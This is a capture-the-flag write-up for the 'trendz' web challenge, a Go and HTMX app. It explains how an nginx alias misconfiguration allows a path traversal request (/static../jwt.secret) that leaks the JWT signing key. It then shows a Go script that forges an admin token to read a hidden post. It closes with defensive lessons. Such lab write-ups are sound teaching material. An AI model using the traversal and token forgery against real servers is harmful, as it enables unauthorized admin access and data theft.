Challenge Description
name: trendz
category: web exploitation
points: 383
solves: 52
The latest trendz is all about Go and HTMX, but what could possibly go wrong? A secret post has been hidden deep within the application. Your mission is to uncover it.
Note: This challenge consists of four parts, which can be solved in any order. However, the final part will only be accessible once you’ve completed this initial task, and will be released in Wave 3.
The JWT_SECRET_KEY environment variable given in the handout is just a placeholder, and not the actual value set on remote.
Analysis
We’re given the following web page (after we login)
We can create posts and view them. Following what the description says, our job is to view this hidden post, luckily for us, we’re given the source code here
.
├── Dockerfile
├── go.mod
├── go.sum
├── handlers
│ ├── custom
│ │ └── Custom.go
│ ├── dashboard
│ │ ├── AdminDash.go
│ │ ├── SuperAdminDash.go
│ │ └── UserDash.go
│ ├── db
│ │ └── Init.go
│ ├── jwt
│ │ └── JWTAuth.go
│ └── service
│ ├── CreateUser.go
│ ├── JWTHandler.go
│ ├── LoginUser.go
│ ├── Posts.go
│ └── ValidateAdmin.go
├── init.sql
├── jwt.secret
├── main.go
├── nginx.conf
├── readme.md
├── run.sh
├── static
│ ├── css
│ │ ├── admin.css
│ │ ├── bootstrap.min.css
│ │ ├── style.css
│ │ └── user.css
│ ├── index.html
│ └── js
│ ├── client-side-templates.js
│ ├── htmx.min.js
│ ├── json-enc.js
│ └── nunjucks.min.js
└── templates
├── adminDash.tmpl
├── login.tmpl
├── main.tmpl
├── register.tmpl
├── superAdminDash.tmpl
├── userDash.tmpl
└── viewPost.tmpl
It’s a Go application, let’s check the Dockerfile
Dockerfile
FROM golang:alpine AS builder
RUN apk update && apk add --no-cache git
WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY . .
ENV GIN_MODE=release
ENV PORT=8000
RUN go build -o /app/chall
FROM postgres:alpine
RUN apk update && apk add --no-cache nginx
COPY nginx.conf /etc/nginx/nginx.conf
COPY run.sh /usr/local/bin/run.sh
COPY init.sql /docker-entrypoint-initdb.d/init.sql
WORKDIR /app
COPY --from=builder /app/chall /app/chall
COPY static static
COPY templates templates
ENTRYPOINT ["sh", "/usr/local/bin/run.sh"]
This Dockerfile creates a multi-stage build for a web application. In the first stage, it uses the Go language to build the application. In the second stage, it sets up a PostgreSQL container with Nginx and copies the built application, configuration files, and other resources. It then runs a script to start the application.
The run.sh
script is the entrypoint of the application. Let’s check that:
run.sh
#!/bin/env sh
cat /dev/urandom | head | sha1sum | cut -d " " -f 1 > /app/jwt.secret
export JWT_SECRET_KEY=notsosecurekey
export ADMIN_FLAG=CSCTF{flag1}
export POST_FLAG=CSCTF{flag2}
export SUPERADMIN_FLAG=CSCTF{flag3}
export REV_FLAG=CSCTF{flag4}
export POSTGRES_USER=postgres
export POSTGRES_PASSWORD=mysecretpassword
export POSTGRES_DB=devdb
uuid=$(cat /proc/sys/kernel/random/uuid)
user=$(cat /dev/urandom | head | md5sum | cut -d " " -f 1)
cat << EOF >> /docker-entrypoint-initdb.d/init.sql
INSERT INTO users (username, password, role) VALUES ('superadmin', 'superadmin', 'superadmin');
INSERT INTO posts (postid, username, title, data) VALUES ('$uuid', '$user', 'Welcome to the CTF!', '$ADMIN_FLAG');
EOF
docker-ensure-initdb.sh &
GIN_MODE=release /app/chall & sleep 5
su postgres -c "postgres -D /var/lib/postgresql/data" &
nginx -g 'daemon off;'
This script initializes the Docker container environment. It generates a random JWT secret and sets various environment variables including flags and database credentials. It creates an initial SQL script for the database with user and post entries, starts the application and PostgreSQL, and then launches Nginx.
Since the actual challenge consists of 4 independent parts (trend[number-of-z])
,
we can deduce based on the challenge name, that the flag we’re looking for is ADMIN_FLAG
.
Let’s search in the codebase to see where this flag is mentioned.
Note: you can check the source code of the application alone, since the code base is a bit bigger than what a writeup could handle, I’ll entrust the process of understanding the api to you.
Searching for the keyword, we get one occurrence in handlers/dashboard/AdminDash.go
, more specifically
in the AdminDashboard
function that looks like this:
func AdminDashboard(ctx *gin.Context) {
posts := service.GetAllPosts()
ctx.HTML(200, "adminDash.tmpl", gin.H{
"flag": os.Getenv("ADMIN_FLAG"),
"posts": posts,
})
}
If we are admin, we can view all the posts, among which is the desired post which contains the flag.
However, we have a problem, we’re mere users
, how can we change our role to admin
.
The application uses JWT tokens for access control. It uses accessToken only to validate admins.
Let’s dive deeper into the codebase, where is the AdminDashboard
mentioned again?
One occurence in the main.go
script under the admin
group. To access the admin dashboard, we first
have to validate the access token, then we have to validate the admin. Let’s check the code for both:
JWTAuth.go
func ValidateAccessToken(encodedToken string) (*jwt.Token, error) {
return jwt.Parse(encodedToken, func(token *jwt.Token) (interface{}, error) {
_, isValid := token.Method.(*jwt.SigningMethodHMAC)
if !isValid {
return nil, fmt.Errorf("invalid token with signing method: %v", token.Header["alg"])
}
return []byte(secretKey), nil
})
}
This Go function validates a JWT by parsing it and checking the signing method. It ensures the token uses HMAC signing and verifies it with a secret key. If the signing method is incorrect, it returns an error.
The secret key is found in the jwt.secret
a the root of the application. Seeems we needs to retrieve that hmmm…
Okay, Let’s check the admin validation code:
ValidateAdmin.go
func ValidateAdmin() gin.HandlerFunc {
return func(c *gin.Context) {
const bearerSchema = "Bearer "
var tokenDetected bool = false
var tokenString string
authHeader := c.GetHeader("Authorization")
if len(authHeader) != 0 {
tokenDetected = true
tokenString = authHeader[len(bearerSchema):]
}
if !tokenDetected {
var err error
tokenString, err = c.Cookie("accesstoken")
if tokenString == "" || err != nil {
c.Redirect(302, "/getAccessToken?redirect="+c.Request.URL.Path)
}
}
fmt.Println(tokenString)
claims := jwt.ExtractClaims(tokenString)
if claims["role"] == "admin" || claims["role"] == "superadmin" {
fmt.Println(claims)
} else {
fmt.Println("Token is not valid")
c.AbortWithStatusJSON(403, gin.H{"error": "User Unauthorized"})
return
}
}
}
This Go function is a Gin middleware that checks if the request has a valid JWT token with an “admin” or “superadmin” role. It first looks for the token in the “Authorization” header or a cookie. If not found or invalid, it redirects the user to obtain an access token or returns a 403 Unauthorized error.
Interesting, if we can craft our own valid JWT token, with role admin
(or superadmin
, but that’s for another challenge),
we can access the admin dashboard, from which we can retrieve the hidden post that has the flag.
Exploitation
You should note, that without the jwt.secret
contents, we can’t do anything.
We are not given a custom nginx configuration for nothing though, if we check the config
user nobody;
worker_processes auto;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
location / {
proxy_pass http://localhost:8000;
}
location /static {
alias /app/static/;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
}
We can see that /static
is aliased to /app/static/
, with no restriction for
which files we can access (including jwt.secret), thus enabling us to navigate to /static../jwt.secret
,
which is aliased to /app/static/../jwt.secret
, that is the secret key used to sign the JWT token.
Great! we got the key. Now let’s craft our valid JWT token using the following script
package main
import (
"fmt"
"os"
"time"
"github.com/golang-jwt/jwt/v5"
)
var secretKey = []byte{}
func InitJWT() {
key, err := os.ReadFile("jwt.secret")
if err != nil {
panic(err)
}
secretKey = key[:]
}
func GenerateAccessToken(username string, role string) (string, error) {
token := jwt.NewWithClaims(jwt.SigningMethodHS256,
jwt.MapClaims{
"username": username,
"exp": time.Now().Add(time.Minute * 10).Unix(),
"role": role,
"iat": time.Now().Unix(),
})
signedToken, err := token.SignedString(secretKey)
if err != nil {
signedToken = ""
}
return signedToken, err
}
func main() {
InitJWT()
token, err := GenerateAccessToken("hxuu", "admin")
if err != nil {
fmt.Println("Error generating token:", err)
return
}
fmt.Println("Generated Token:", token)
}
jwt.secret is the file we downloaded previously.
Running the script gives us a valid JWT Token.
Now we just have to login as user hxuu
, replace the accesstoken
in the cookies with our
token, and access /admin/dashboard
.
Awesome, we can see the wanted post id. Let’s access it using /user/posts/<id>
And there we go~ Flag is: CSCTF{0a97afb3-64be-4d96-aa52-86a91a2a3c52}
Lessons learned from this challenge:
- JWT Secret Key Exposure: Ensuring sensitive files like JWT secrets are not publicly accessible is crucial to prevent unauthorized access.
- Token Crafting: Crafting a valid JWT token can allow you to bypass access controls if the secret key is known.
- Nginx Configuration: Be aware of Nginx configurations that could expose sensitive files through aliases or improper restrictions.
- Access Control: Properly validate and handle user roles and permissions to secure admin and sensitive functionalities.